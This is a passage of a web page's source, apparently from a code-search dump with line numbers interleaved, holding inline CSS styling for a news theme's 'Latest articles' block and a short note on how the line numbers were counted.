-webkit-text-fill-color: unset; 3977 background: transparent; 3978 transition: none; 3979 }.tdi_76:hover .tdi_77 .tdm-title{ 3980 cursor: default; 3981 }.tdi_77 .tdm-title{ 3982 font-family:Bree Serif !important;font-size:18px !important;text-transform:uppercase !important; 3983 } 3984 3985/* portrait */ 3986@media (min-width: 768px) and (max-width: 1018px){ 3987.tdi_77 .tdm-title{ 3988 font-family:Bree Serif !important;font-size:15px !important;text-transform:uppercase !important; 3989 } 3990} 3991</style><div class="tds-title tds-title1 td-fix-index tdi_77"><h2 class="tdm-title tdm-title-sm">Latest articles</h2></div></div></div></div><div class="td_block_wrap td_flex_block_1 tdi_78 td-pb-border-top td-flex-footer td_block_template_1 td_ajax_preloading_preload td_flex_block" data-td-block-uid="tdi_78" > 3992<style> 3993 3994/* inline tdc_css att */ 3995 3996.tdi_78{ 3997margin-bottom:0px !important; 3998} 3999 4000</style> 4001<style> 4002/* custom css */ 4003.tdi_78 .td-image-wrap{ 4004 padding-bottom: 64%; 4005 }.tdi_78 .entry-thumb{ 4006 background-position: center 40%; 4007 }.tdi_78 .td-image-container{ 4008 flex: 0 0 22%; 4009 width: 22%; 4010 4011 display: block; order: 0; 4012 }.ie10 .tdi_78 .td-image-container, 4013 .ie11 .tdi_78 .td-image-container{ 4014 flex: 0 0 auto; 4015 }.tdi_78 .td-module-container{ 4016 flex-direction: row; 4017 4018 border-color: #eaeaea !important; 4019 }.ie10 .tdi_78 .td-module-meta-info, 4020 .ie11 .tdi_78 .td-module-meta-info{ 4021 flex: 1; 4022 }.tdi_78 .td-module-meta-info{ 4023 padding: 0 0 0 20px; 4024 4025 display: flex; 4026 flex-direction: column; 4027 justify-content: center; 4028 4029 border-color: #eaeaea; 4030 }.tdi_78 .td-category-pos-above .td-post-category{ 4031 align-self: flex-start; 4032 }.tdi_78 .td_module_wrap{ 4033 padding-left: 0px; 4034 padding-right: 0px; 4035 4036 padding-bottom: 11px; 4037 margin-bottom: 11px; 4038 }.tdi_78 .td_block_inner{ 4039 margin-left: -0px; 4040 margin-right: -0px; 4041 }.tdi_78 .td-module-container:before{ 4042 bottom: -11px; 4043 4044 border-color: #eaeaea; 4045 }.tdi_78 .entry-thumb, 4046 .tdi_78 .entry-thumb:before, 4047 .tdi_78 .entry-thumb:after{ 4048 border-radius: 6px; 4049 }.tdi_78 .td-post-vid-time{ 4050 display: block; 4051 }.tdi_78 .td-post-category{ 4052 margin: 5px; 4053 4054 padding: 3px 15px 2px 15px; 4055 }.tdi_78 .td-post-category:not(.td-post-extra-category){ 4056 display: none; 4057 }.tdi_78 .td-author-photo .avatar{
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Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.